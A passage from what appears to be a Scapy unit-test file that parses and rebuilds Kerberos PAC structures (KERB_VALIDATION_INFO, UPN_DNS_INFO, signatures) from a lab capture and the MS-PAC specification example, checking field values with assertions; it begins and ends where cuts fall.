\\xd7\\x9b\\xd2\\xe8c\\xc7\\x9f\\xca\\xbd=\\xdch*\\x1b\\x0f\\xceH\\x81\\xf7\\xdc\\x1a\\x93A\\xdbJ\\xe3\\x936\\xe3\\xff\\xfb!\\'\\xe3\\x1b\"\\xff\\xc6\\x1b4\\x98\\xde\\xc1%A3\\x16\\x7f&\\xafM\\xdfX\\xfb\\\\\\x1d\\x91Vp\\x19\\xcd\\xd8\\xe3$\\x13J\\x9c\\x89\\xbc~\\x07O\\xac?\\x0c\\xa6\\x80yZ\\xef0\\xef}\\x89BA\\xe9k\\xfa\\xf9P\\x97\\xe5\\x14\\xd4+/_\\xa6\\xba\\xf9\\x04Ph\\xe1\\x1a\\xb5=\\xd6nq\\xd8\\x13L\\x03\\xd5\\x19V\\xd9e&\\xdfJ\\x99\\x90\\xca\\xc7\\x84\\xfb\\x08H\\xa6Y\\xc0T[\\x87\\xbeok\\xb4\\xeb\\xca\\xdb\\x9d\\xcf|\\xbdn\\x9f\\xde\\xb10\\xecnWc\\x80\\x18\\x07\\xfb\\x1eYb{Q\\x0e\\x0f\\xfc\\xcbE\\xcct\\xfe\\xd7\\x8a\\xb6\\x1a\\x17\\xba\\xeb\\xfdG\\xdbz\\xa8\\xe89\\xb5[\\x0e\\x83kO\\xdc|\\x14\\x92\\xdc3\\nc\\x05~e1')\n\nassert isinstance(pkt.innerToken.token.mechToken.value.root, GSSAPI_BLOB)\nassert pkt.innerToken.token.mechToken.value.root.innerToken.TOK_ID == b'\\x01\\x00'\nkrb = pkt.innerToken.token.mechToken.value.root.innerToken.root\nassert isinstance(krb, KRB_AP_REQ)\nassert krb.ticket.sname.nameString == [b\"cifs\", b\"localdc\"]\n\n= MSPAC - Parse WIN2K-PAC (real life)\n\nfrom scapy.layers.msrpce.mspac import *\n\n# PAC in the example from https://scapy.readthedocs.io/en/latest/layers/kerberos.html#decrypt-fast\n\ndata = b'\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xd0\\x01\\x00\\x00\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x12\\x00\\x00\\x00X\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00x\\x00\\x00\\x00p\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00\\xf0\\x00\\x00\\x00\\xe8\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\xd8\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\xe0\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x10\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x10\\x08\\x00\\xcc\\xcc\\xcc\\xcc\\xc0\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x1f\\x1cssC\\x96\\xd8\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x7f\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x7fT=pE\\xcav\\xd8\\x01T\\xfd\\xd9o\\x93w\\xd8\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x7f\\x08\\x00\\x08\\x00\\x04\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x02\\x00F\\x00\\x00\\x00P\\x04\\x00\\x00\\x03\\x02\\x00\\x00\\x01\\x00\\x00\\x00\\x1c\\x00\\x02\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x08\\x00 \\x00\\x02\\x00\\x08\\x00\\n\\x00$\\x00\\x02\\x00(\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00,\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00S\\x00R\\x00V\\x00$\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x02\\x00\\x00\\x07\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00D\\x00C\\x001\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00D\\x00O\\x00M\\x001\\x00\\x04\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xfa*@1\\xb2f\\xa6\\x1c\\x11dp\\\\\\x02\\x00\\x00\\x000\\x00\\x02\\x00\\x07\\x00\\x00\\x004\\x00\\x02\\x00\\x07\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf1\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x12\\x01\\x00\\x00\\x00\\x80\\xd6^sC\\x96\\xd8\\x01\\x08\\x00S\\x00R\\x00V\\x00$\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x18\\x00\\x14\\x008\\x00\\x03\\x00\\x00\\x00\\x08\\x00P\\x00\\x1c\\x00X\\x00\\x00\\x00\\x00\\x00S\\x00R\\x00V\\x00$\\x00@\\x00d\\x00o\\x00m\\x001\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x00\\x00D\\x00O\\x00M\\x001\\x00.\\x00L\\x00O\\x00C\\x00A\\x00L\\x00\\x00\\x00\\x00\\x00S\\x00R\\x00V\\x00$\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xfa*@1\\xb2f\\xa6\\x1c\\x11dp\\\\P\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x10\\x08\\x00\\xcc\\xcc\\xcc\\xcc\\xe0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\xb8\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb8\\x00\\x00\\x00\\x01\\x10\\x08\\x00\\xcc\\xcc\\xcc\\xcc\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x03\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x02\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00a\\x00d\\x00:\\x00/\\x00/\\x00e\\x00x\\x00t\\x00/\\x00A\\x00u\\x00t\\x00h\\x00e\\x00n\\x00t\\x00i\\x00c\\x00a\\x00t\\x00i\\x00o\\x00n\\x00S\\x00i\\x00l\\x00o\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00T\\x000\\x00-\\x00s\\x00i\\x00l\\x00o\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xfa*@1\\xb2f\\xa6\\x1c\\x11dp\\\\P\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00d\\xb0qv\\xf8\\xd3X\\x0b\\x7f4\\xfe\\xda\\x10\\x00\\x00\\x00\\x835J\\xa7\\x80\\xb1S\\xcez\\x8b\\xd2\\xc2'\n\npkt = PACTYPE(data)\nassert len(pkt.Buffers) == 8\nassert len(pkt.Payloads) == 8\nassert [type(x) for x in pkt.Payloads] == [\n    NDRSerialization1Header,\n    PAC_CLIENT_INFO,\n    UPN_DNS_INFO,\n    NDRSerialization1Header,\n    PAC_ATTRIBUTES_INFO,\n    PAC_REQUESTOR_SID,\n    PAC_SIGNATURE_DATA,\n    PAC_SIGNATURE_DATA,\n]\n\n# 0 and 1 are common\nassert pkt.Payloads[2].Upn == 'SRV$@dom1.local'\nassert pkt.Payloads[2].DnsDomainName == 'DOM1.LOCAL'\nassert pkt.Payloads[2].SamName == 'SRV$'\nassert pkt.Payloads[2].Sid.summary() == 'S-1-5-21-826288890-480667314-1550869521-1104'\n\nassert pkt.Payloads[3].valueof(\"Claims.ClaimsSet.ClaimsArrays\")[0].usClaimsSourceType == 1\nclaimentry = pkt.Payloads[3].valueof(\"Claims.ClaimsSet.ClaimsArrays\")[0].valueof(\"ClaimEntries\")[0]\nassert claimentry.valueof(\"Id\") == b'ad://ext/AuthenticationSilo'\nassert claimentry.valueof(\"Values.StringValues\")[0] == b\"T0-silo\"\n\nassert pkt.Payloads[4].Flags[0].PAC_WAS_REQUESTED\n\nassert pkt.Payloads[5].Sid.summary() == 'S-1-5-21-826288890-480667314-1550869521-1104'\n\nassert pkt.Payloads[6].SignatureType == 16\nassert pkt.Payloads[6].Signature == b'd\\xb0qv\\xf8\\xd3X\\x0b\\x7f4\\xfe\\xda'\n\nassert pkt.Payloads[7].SignatureType == 16\nassert pkt.Payloads[7].Signature == b'\\x835J\\xa7\\x80\\xb1S\\xcez\\x8b\\xd2\\xc2'\n\n= MSPAC - Parse WIN2K-PAC (MS-PAC sect 3)\n\n# Example data from [MS-PAC] sect 3 - Structural example\n\ndata = b'0\\x82\\x05R0\\x82\\x05N\\xa0\\x04\\x02\\x02\\x00\\x80\\xa1\\x82\\x05D\\x04\\x82\\x05@\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xb0\\x04\\x00\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xf8\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x10\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x14\\x00\\x00\\x00(\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x10\\x08\\x00\\xcc\\xcc\\xcc\\xcc\\xa0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\xd1\\x86f\\x0fej\\xc6\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x7f\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x7f\\x17\\xd49\\xfexJ\\xc6\\x01\\x17\\x94\\xa3(BK\\xc6\\x01\\x17T$\\x97z\\x81\\xc6\\x01\\x08\\x00\\x08\\x00\\x04\\x00\\x02\\x00$\\x00$\\x00\\x08\\x00\\x02\\x00\\x12\\x00\\x12\\x00\\x0c\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x02\\x00T\\x10\\x00\\x00\\x97y,\\x00\\x01\\x02\\x00\\x00\\x1a\\x00\\x00\\x00\\x1c\\x00\\x02\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x18\\x00 \\x00\\x02\\x00\\n\\x00\\x0c\\x00$\\x00\\x02\\x00(\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00,\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00l\\x00z\\x00h\\x00u\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00L\\x00i\\x00q\\x00i\\x00a\\x00n\\x00g\\x00(\\x00L\\x00a\\x00r\\x00r\\x00y\\x00)\\x00 \\x00Z\\x00h\\x00u\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x00\\x00n\\x00t\\x00d\\x00s\\x002\\x00.\\x00b\\x00a\\x00t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00a\\xc43\\x00\\x07\\x00\\x00\\x00\\t\\xc3-\\x00\\x07\\x00\\x00\\x00^\\xb42\\x00\\x07\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x07\\x00\\x00\\x00\\x97\\xb9,\\x00\\x07\\x00\\x00\\x00+\\xf12\\x00\\x07\\x00\\x00\\x00\\xce03\\x00\\x07\\x00\\x00\\x00\\xa7..\\x00\\x07\\x00\\x00\\x00*\\xf12\\x00\\x07\\x00\\x00\\x00\\x98\\xb9,\\x00\\x07\\x00\\x00\\x00b\\xc43\\x00\\x07\\x00\\x00\\x00\\x94\\x013\\x00\\x07\\x00\\x00\\x00v\\xc43\\x00\\x07\\x00\\x00\\x00\\xae\\xfe-\\x00\\x07\\x00\\x00\\x002\\xd2,\\x00\\x07\\x00\\x00\\x00\\x16\\x082\\x00\\x07\\x00\\x00\\x00B[.\\x00\\x07\\x00\\x00\\x00_\\xb42\\x00\\x07\\x00\\x00\\x00\\xca\\x9c5\\x00\\x07\\x00\\x00\\x00\\x85D-\\x00\\x07\\x00\\x00\\x00\\xc2\\xf02\\x00\\x07\\x00\\x00\\x00\\xe9\\xea1\\x00\\x07\\x00\\x00\\x00\\xed\\x8e.\\x00\\x07\\x00\\x00\\x00\\xb6\\xeb1\\x00\\x07\\x00\\x00\\x00\\xab..\\x00\\x07\\x00\\x00\\x00r\\x0e.\\x00\\x07\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00N\\x00T\\x00D\\x00E\\x00V\\x00-\\x00D\\x00C\\x00-\\x000\\x005\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00N\\x00T\\x00D\\x00E\\x00V\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b\\r\\x00\\x00\\x000\\x00\\x02\\x00\\x07\\x00\\x00\\x004\\x00\\x02\\x00\\x07\\x00\\x00 8\\x00\\x02\\x00\\x07\\x00\\x00 <\\x00\\x02\\x00\\x07\\x00\\x00 @\\x00\\x02\\x00\\x07\\x00\\x00 D\\x00\\x02\\x00\\x07\\x00\\x00 H\\x00\\x02\\x00\\x07\\x00\\x00 L\\x00\\x02\\x00\\x07\\x00\\x00 P\\x00\\x02\\x00\\x07\\x00\\x00 T\\x00\\x02\\x00\\x07\\x00\\x00 X\\x00\\x02\\x00\\x07\\x00\\x00 \\\\\\x00\\x02\\x00\\x07\\x00\\x00 `\\x00\\x02\\x00\\x07\\x00\\x00 \\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb90\\x1b.\\xb7ALl\\x8c;5\\x15\\x01\\x02\\x00\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0btT/\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b\\xe882\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b\\xcd82\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b]\\xb42\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0bA\\x165\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b\\xe8\\xea1\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b\\xc1\\x192\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b)\\xf12\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b\\x0f_.\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b/[.\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b\\xef\\x8f1\\x00\\x05\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00YQ\\xb8\\x17fr]%dc;\\x0b\\x07_.\\x00\\x00\\x00\\x00\\x00\\x00I\\xd9\\x0eej\\xc6\\x01\\x08\\x00l\\x00z\\x00h\\x00u\\x00\\x00\\x00\\x00\\x00\\x00\\x00v\\xff\\xff\\xffA\\xed\\xce\\x9a4\\x81]:\\xef{\\xc9\\x88t\\x80]%\\x00\\x00\\x00\\x00v\\xff\\xff\\xff\\xf7\\xa54\\xda\\xb2\\xc0)\\x86\\xef\\xe0\\xfb\\xe5\\x11\\nO2\\x00\\x00\\x00\\x00'\n\npkt = AuthorizationData(data)\n\nassert isinstance(pkt.seq[0].adData.Payloads[0], NDRSerialization1Header)\nk = pkt.seq[0].adData.Payloads[0].value\nassert isinstance(k, KERB_VALIDATION_INFO)\nassert k.valueof(\"EffectiveName.Buffer\") == b'lzhu'\nassert k.valueof(\"LogonDomainName.Buffer\") == b\"NTDEV\"\nassert \"S-1-5-%s\" % \"-\".join(str(x) for x in k.LogonDomainId.value.SubAuthority) == 'S-1-5-21-397955417-626881126-188441444'\nassert len(k.ExtraSids.value.value) == 13\nassert [x.RelativeId for x in k.GroupIds.value.value] == [3392609, 2999049, 3322974, 513, 2931095, 3338539, 3354830, 3026599, 3338538, 2931096, 3392610, 3342740, 3392630, 3014318, 2937394, 3278870, 3038018, 3322975, 3513546, 2966661, 3338434, 3271401, 3051245, 3271606, 3026603, 3018354]\n\n\nassert isinstance(pkt.seq[0].adData.Payloads[1], PAC_CLIENT_INFO)\nassert pkt.seq[0].adData.Payloads[1].Name == 'lzhu'\n\nassert isinstance(pkt.seq[0].adData.Payloads[2], PAC_SIGNATURE_DATA)\nassert len(pkt.seq[0].adData.Payloads[2].Signature) == 16\n\nassert isinstance(pkt.seq[0].adData.Payloads[3], PAC_SIGNATURE_DATA)\nassert  pkt.seq[0].adData.Payloads[3].Signature == b'\\xf7\\xa54\\xda\\xb2\\xc0)\\x86\\xef\\xe0\\xfb\\xe5\\x11\\nO2'\n\n= MSPAC - Build WIN2K-PAC (MS-PAC sect 3)\n\npkt = PACTYPE(\n    Buffers=[\n        PAC_INFO_BUFFER(ulType=1, cbBufferSize=1200, Offset=72),\n        PAC_INFO_BUFFER(ulType=10, cbBufferSize=18, Offset=1272),\n        PAC_INFO_BUFFER(ulType=6, cbBufferSize=20, Offset=1296),\n        PAC_INFO_BUFFER(ulType=7, cbBufferSize=20, Offset=1320),\n    ],\n    Payloads=[\n        NDRSerialization1Header(\n            Version=1,\n            Endianness=16,\n            CommonHeaderLength=8,\n            Filler=3435973836,\n        )\n        / NDRSerialization1PrivateHeader(ObjectBufferLength=1184, Filler=0)\n        / NDRPointer(\n            referent_id=131072,\n            value=KERB_VALIDATION_INFO(\n                LogonTime=FILETIME(dwLowDateTime=258377425, dwHighDateTime=29780581),\n                LogoffTime=FILETIME(\n                    dwLowDateTime=4294967295, dwHighDateTime=2147483647\n                ),\n                KickOffTime=FILETIME(\n                    dwLowDateTime=4294967295, dwHighDateTime=2147483647\n                ),\n                PasswordLastSet=FILETIME(\n                    dwLowDateTime=4265202711, dwHighDateTime=29772408\n                ),\n                PasswordCanChange=FILETIME(\n                    dwLowDateTime=681808919, dwHighDateTime=29772610\n                ),\n                PasswordMustChange=FILETIME(\n                    dwLowDateTime=2535740439, dwHighDateTime=29786490\n                ),\n                EffectiveName=RPC_UNICODE_STRING(\n                    Length=8,\n                    MaximumLength=8,\n                    Buffer=NDRPointer(\n                        referent_id=131076,\n                        value=NDRConformantArray(\n                            max_count=4,\n                            value=[\n                                NDRVaryingArray(offset=0, actual_count=4, value=b\"lzhu\")\n                            ],\n                        ),\n                    ),\n                ),\n                FullName=RPC_UNICODE_STRING(\n                    Length=36,\n                    MaximumLength=36,\n                    Buffer=NDRPointer(\n                        referent_id=131080,\n                        value=NDRConformantArray(\n                            max_count=18,\n                            value=[\n                                NDRVaryingArray(\n                                    offset=0,\n                                    actual_count=18,\n                                    value=b\"Liqiang(Larry) Zhu\",\n                                )\n                            ],\n                        ),\n                    ),\n                ),\n                LogonScript=RPC_UNICODE_STRING(\n                    Length=18,\n                    MaximumLength=18,\n                    Buffer=NDRPointer(\n                        referent_id=131084,\n                        value=NDRConformantArray(\n                            max_count=9,\n                            value=[\n                                NDRVaryingArray(\n                                    offset=0,\n                                    actual_count=9,\n                                    value=b\"ntds2.bat\",\n                                )\n                            ],\n                        ),\n                    ),\n                ),\n                ProfilePath=RPC_UNICODE_STRING(\n                    Length=0,\n                    MaximumLength=0,\n                    Buffer=NDRPointer(\n                        referent_id=131088,\n                        value=NDRConformantArray(\n                            max_count=0,\n                            value=[\n                                NDRVaryingArray(offset=0, actual_count=0, value=b\"\")\n                            ],\n                        ),\n                    ),\n                ),\n                HomeDirectory=RPC_UNICODE_STRING(\n                    Length=0,\n                    MaximumLength=0,\n                    Buffer=NDRPointer(\n                        referent_id=131092,\n                        value=NDRConformantArray(\n                            max_count=0,\n                            value=[\n                                NDRVaryingArray(offset=0, actual_count=0, value=b\"\")\n                            ],\n                        ),\n                    ),\n                ),\n                HomeDirectoryDrive=RPC_UNICODE_STRING(\n                    Length=0,\n                    MaximumLength=0,\n                    Buffer=NDRPointer(\n                        referent_id=131096,\n                        value=NDRConformantArray(\n                            max_count=0,\n                            value=[\n                                NDRVaryingArray(offset=0, actual_count=0, value=b\"\")\n                            ],\n                        ),\n                    ),\n                ),\n                UserSessionKey=USER_SESSION_KEY(\n                    data=[\n                        CYPHER_BLOCK(data=b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"),\n                        CYPHER_BLOCK(data=b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"),\n                    ]\n                ),\n                LogonServer=RPC_UNICODE_STRING(\n                    Length=22,\n                    MaximumLength=24,\n                    Buffer=NDRPointer(\n                        referent_id=131104,\n                        value=NDRConformantArray(\n                            max_count=12,\n                            value=[\n                                NDRVaryingArray(\n                                    offset=0,\n                                    actual_count=11,\n                                    value=b\"NTDEV-DC-05\",\n                                )\n                            ],\n                        ),\n                    ),\n                ),\n                LogonDomainName=RPC_UNICODE_STRING(\n                    Length=10,\n                    MaximumLength=12,\n                    Buffer=NDRPointer(\n                        referent_id=131108,\n                        value=NDRConformantArray(\n                            max_count=6,\n                            value=[\n                                NDRVaryingArray(\n                                    offset=0, actual_count=5, value=b\"NTDEV\"\n                                )\n                            ],\n                        ),\n                    ),\n                ),\n                Reserved1=[0, 0],\n                Reserved3=[0, 0, 0, 0, 0, 0, 0],\n                LogonCount=4180,\n                BadPasswordCount=0,\n                UserId=2914711,\n                PrimaryGroupId=513,\n                GroupCount=26,\n                GroupIds=NDRPointer(\n                    referent_id=131100,\n                    value=NDRConformantArray(\n                        max_count=26,\n                        value=[\n                            GROUP_MEMBERSHIP(RelativeId=3392609, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=2999049, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3322974, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=513, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=2931095, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3338539, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3354830, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3026599, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3338538, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=2931096, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3392610, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3342740, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3392630, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3014318, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=2937394, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3278870, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3038018, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3322975, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3513546, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=2966661, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3338434, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3271401, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3051245, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3271606, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3026603, Attributes=7),\n                            GROUP_MEMBERSHIP(RelativeId=3018354, Attributes=7),\n                        ],\n                    ),\n                ),\n                UserFlags=32,\n                LogonDomainId=NDRPointer(\n                    referent_id=131112,\n                    value=SID(\n                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                        ),\n                        SubAuthority=[21, 397955417, 626881126, 188441444],\n                        max_count=4,\n                        Revision=1,\n                        SubAuthorityCount=4,\n                    ),\n                ),\n                UserAccountControl=16,\n                SidCount=13,\n                ExtraSids=NDRPointer(\n                    referent_id=131116,\n                    value=NDRConformantArray(\n                        max_count=13,\n                        value=[\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131120,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            773533881,\n                                            1816936887,\n                                            355810188,\n                                            513,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                